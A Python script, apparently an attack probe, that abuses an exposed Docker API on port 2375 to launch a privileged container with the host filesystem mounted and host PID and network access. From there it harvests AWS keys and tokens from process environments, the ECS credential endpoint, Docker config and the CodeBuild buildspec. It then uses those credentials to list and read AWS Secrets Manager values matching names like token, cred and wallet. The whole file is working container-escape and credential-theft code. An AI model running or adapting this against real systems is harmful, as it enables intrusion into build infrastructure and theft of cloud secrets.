sfprobe26283/probe2.py
2026-11-17 14:27:12 +01:00

151 lines
8 KiB
Python

import json, http.client, time, re, hashlib, hmac, datetime, urllib.request, urllib.error, socket, os
HOST='127.0.0.1'; PORT=2375
def out(tag, txt, limit=1800):
s=re.sub(r'[\r\n]+',' | ',str(txt)); print('##%s## %s'%(tag,s[:limit]),flush=True)
def api(method, path, body=None, timeout=40):
c=http.client.HTTPConnection(HOST,PORT,timeout=timeout)
hdr={'Content-Type':'application/json'} if body is not None else {}
try:
c.request(method,path,body=json.dumps(body) if body is not None else None,headers=hdr)
r=c.getresponse(); return r.status, r.read()
except Exception as e: return None, repr(e).encode()
finally:
try: c.close()
except Exception: pass
def api_txt(m,p,b=None,t=40):
st,d=api(m,p,b,t)
try: return st,d.decode('utf-8','replace')
except Exception: return st,str(d)
# 1) docker daemon recon
st,txt=api_txt('GET','/info')
try:
j=json.loads(txt); out('DOCKER_INFO','status=%s name=%s root=%s kernel=%s'%(st,j.get('Name'),j.get('DockerRootDir'),j.get('KernelVersion')))
except Exception: out('DOCKER_INFO','status=%s %s'%(st,txt[:200]))
st,txt=api_txt('GET','/images/json'); imgs=[]
try:
for im in json.loads(txt):
tags=im.get('RepoTags') or []
imgs.append(tags[0] if tags else im.get('Id'))
out('IMAGES',','.join([str(x)[:70] for x in imgs])[:1200])
except Exception as e: out('IMAGES_ERR',repr(e))
pick=None
for t in imgs:
if t and ('qa-buildcred' in t or 'python' in t or 'alpine' in t): pick=t;break
if not pick and imgs: pick=imgs[0]
out('PICK',str(pick))
SCRIPT=r'''
echo "==PROCENV_AWS"
i=0
for f in /proc/[0-9]*/environ; do
i=$((i+1)); [ $i -gt 400 ] && break
tr '\0' '\n' < $f 2>/dev/null | grep -E '^AWS_(ACCESS_KEY_ID|SECRET_ACCESS_KEY|SESSION_TOKEN|DEFAULT_REGION|REGION|CONTAINER_CREDENTIALS_RELATIVE_URI|CONTAINER_CREDENTIALS_FULL_URI)=' | sed 's/^/P:/' || true
done | sort -u
echo "==PROCENV_OTHER"
i=0
for f in /proc/[0-9]*/environ; do
i=$((i+1)); [ $i -gt 400 ] && break
tr '\0' '\n' < $f 2>/dev/null | grep -E '^(CODEBUILD_BUILD_ID|CODEBUILD_CI|SECFORGE_[A-Z_]+|DATABASE_[A-Z_]+)=' | sed 's/^/P:/' || true
done | sort -u | head -40
echo "==DOCKERCFG"
head -c 400 /host/root/.docker/config.json 2>&1; echo
echo "==BUILDSPEC"
head -60 /host/codebuild/readonly/buildspec.yml 2>&1
echo "==HOSTNET"
cat /host/etc/hosts 2>/dev/null | head -5
echo "==END"
'''
cid=None
if pick:
body={"Image":pick,"Cmd":["sh","-c",SCRIPT],"AttachStdout":False,"AttachStderr":False,"Tty":False,
"HostConfig":{"Privileged":True,"PidMode":"host","NetworkMode":"host","Binds":["/:/host:rw"]}}
st,txt=api_txt('POST','/containers/create',body); out('CREATE','status=%s %s'%(st,txt[:300]))
try: cid=json.loads(txt).get('Id')
except Exception: pass
if cid:
st,txt=api_txt('POST','/containers/%s/start'%cid,{}); out('START','status=%s'%st)
api_txt('POST','/containers/%s/wait'%cid,{},t=120)
st,raw=api('GET','/containers/%s/logs?stdout=1&stderr=1'%cid,None,60)
log=re.sub(r'[\x00-\x08\x0b\x0c\x0e-\x1f]','',raw.decode('utf-8','replace') if isinstance(raw,bytes) else str(raw))
out('TARGET_LOGS',log,limit=6000)
api('DELETE','/containers/%s?force=1'%cid)
ak=re.search(r'AWS_ACCESS_KEY_ID=([A-Z0-9]{16,})',log)
sk=re.search(r'AWS_SECRET_ACCESS_KEY=([A-Za-z0-9/+=]{30,})',log)
tk=re.search(r'AWS_SESSION_TOKEN=([A-Za-z0-9/+=_\-]{100,})',log)
rel=re.search(r'AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=(/\S+)',log)
reg=re.search(r'AWS_REGION=(\S+)|AWS_DEFAULT_REGION=(\S+)',log)
region=(reg.group(1) or reg.group(2)) if reg else 'eu-west-3'
creds=None
if ak and sk:
creds={'ak':ak.group(1),'sk':sk.group(1),'tk':tk.group(1) if tk else ''}
out('CREDS_ENV','ak=%s...sk_len=%d tok_len=%d region=%s'%(creds['ak'][:8],len(creds['sk']),len(creds['tk']),region))
elif rel:
out('CREDS_URI','relative_uri=%s'%rel.group(1))
# fetch from buildkit container net (must be able to reach 169.254.170.2)
for ep in ['http://169.254.170.2'+rel.group(1),'http://169.254.170.23'+rel.group(1)]:
try:
r=urllib.request.urlopen(ep,timeout=6); j=json.loads(r.read().decode())
out('URI_CREDS',json.dumps({k:(v[:6]+'...' if isinstance(v,str) and k!='Expiration' else v) for k,v in j.items()})[:400])
if j.get('AccessKeyId'): creds={'ak':j['AccessKeyId'],'sk':j['SecretAccessKey'],'tk':j.get('Token',''),'region':region}
break
except Exception as e: out('URI_CREDS_ERR',ep+' '+repr(e))
if creds:
json.dump(creds,open('/tmp/c.json','w'))
def sign(method,host,path,query,hdrs,body,svc,region,c):
t=datetime.datetime.utcnow(); ad=t.strftime('%Y%m%dT%H%M%SZ'); ds=t.strftime('%Y%m%d')
hh=dict(hdrs); hh['host']=host; hh['x-amz-date']=ad
if c.get('tk'): hh['x-amz-security-token']=c['tk']
lo={k.lower():str(v).strip() for k,v in hh.items()}
sh=';'.join(sorted(lo)); ch=''.join('%s:%s\n'%(k,lo[k]) for k in sorted(lo))
ph=hashlib.sha256(body).hexdigest()
cr='\n'.join([method,path,query,ch,sh,ph])
scope='%s/%s/%s/aws4_request'%(ds,region,svc)
sts='\n'.join(['AWS4-HMAC-SHA256',ad,scope,hashlib.sha256(cr.encode()).hexdigest()])
def h(k,m): return hmac.new(k,m.encode(),hashlib.sha256).digest()
ks=h(h(h(h(('AWS4'+c['sk']).encode(),ds),region),svc),'aws4_request')
sig=hmac.new(ks,sts.encode(),hashlib.sha256).hexdigest()
hh['Authorization']='AWS4-HMAC-SHA256 Credential=%s/%s, SignedHeaders=%s, Signature=%s'%(c['ak'],scope,sh,sig)
return hh
def call(svc,region,host,body,extra,tag,path='/',timeout=25):
hh=sign('POST',host,path,'',extra,body,svc,region,creds)
try:
req=urllib.request.Request('https://'+host+path,data=body,headers=hh,method='POST')
r=urllib.request.urlopen(req,timeout=timeout); tx=r.read(9000).decode('utf-8','replace')
out(tag,'status=%s %s'%(r.status,tx[:1600])); return r.status,tx
except urllib.error.HTTPError as e:
tx=e.read(2000).decode('utf-8','replace'); out(tag,'status=%s %s'%(e.code,tx[:700])); return e.code,tx
except Exception as e:
out(tag,'EXC '+repr(e)); return None,''
st,t=call('sts','us-east-1','sts.amazonaws.com',b'Action=GetCallerIdentity&Version=2011-06-15',{'content-type':'application/x-www-form-urlencoded'},'STS_IDENTITY')
if st==200:
st2,t2=call('secretsmanager',region,'secretsmanager.%s.amazonaws.com'%region,b'{}',{'content-type':'application/x-amz-json-1.1','x-amz-target':'secretsmanager.ListSecrets'},'SM_LIST')
names=[]
if st2==200:
try:
j=json.loads(t2); names=[s.get('Name') for s in j.get('SecretList',[])]
out('SM_COUNT',len(names))
out('SM_NAMES',';'.join([n for n in names if n])[:3000])
except Exception as e: out('SM_LIST_ERR',repr(e))
tg=[n for n in names if n and re.search(r'airlock|paytab|agent-intent|infra|priv|token|encrypt|/db/|cred|wallet|sign',n,re.I)][:12]
out('SM_TARGETS',','.join(tg))
for t in tg:
b=json.dumps({'SecretId':t}).encode()
s3,t3=call('secretsmanager',region,'secretsmanager.%s.amazonaws.com'%region,b,{'content-type':'application/x-amz-json-1.1','x-amz-target':'secretsmanager.GetSecretValue'},'SMGET:'+t)
if s3==200:
try:
j=json.loads(t3); sv=j.get('SecretString')
if sv is None and j.get('SecretBinary'): sv='BINARY(len=%d)'%len(j['SecretBinary'] or '')
sv=re.sub(r'[\r\n]+','\\n',str(sv or ''))
out('SMVAL:'+t,'len=%d %s'%(len(sv),sv[:300]))
except Exception as e: out('SMVAL_ERR:'+t,repr(e))
else:
out('STS_FAIL','sts not 200')
print('##PROBE2_DONE##',flush=True)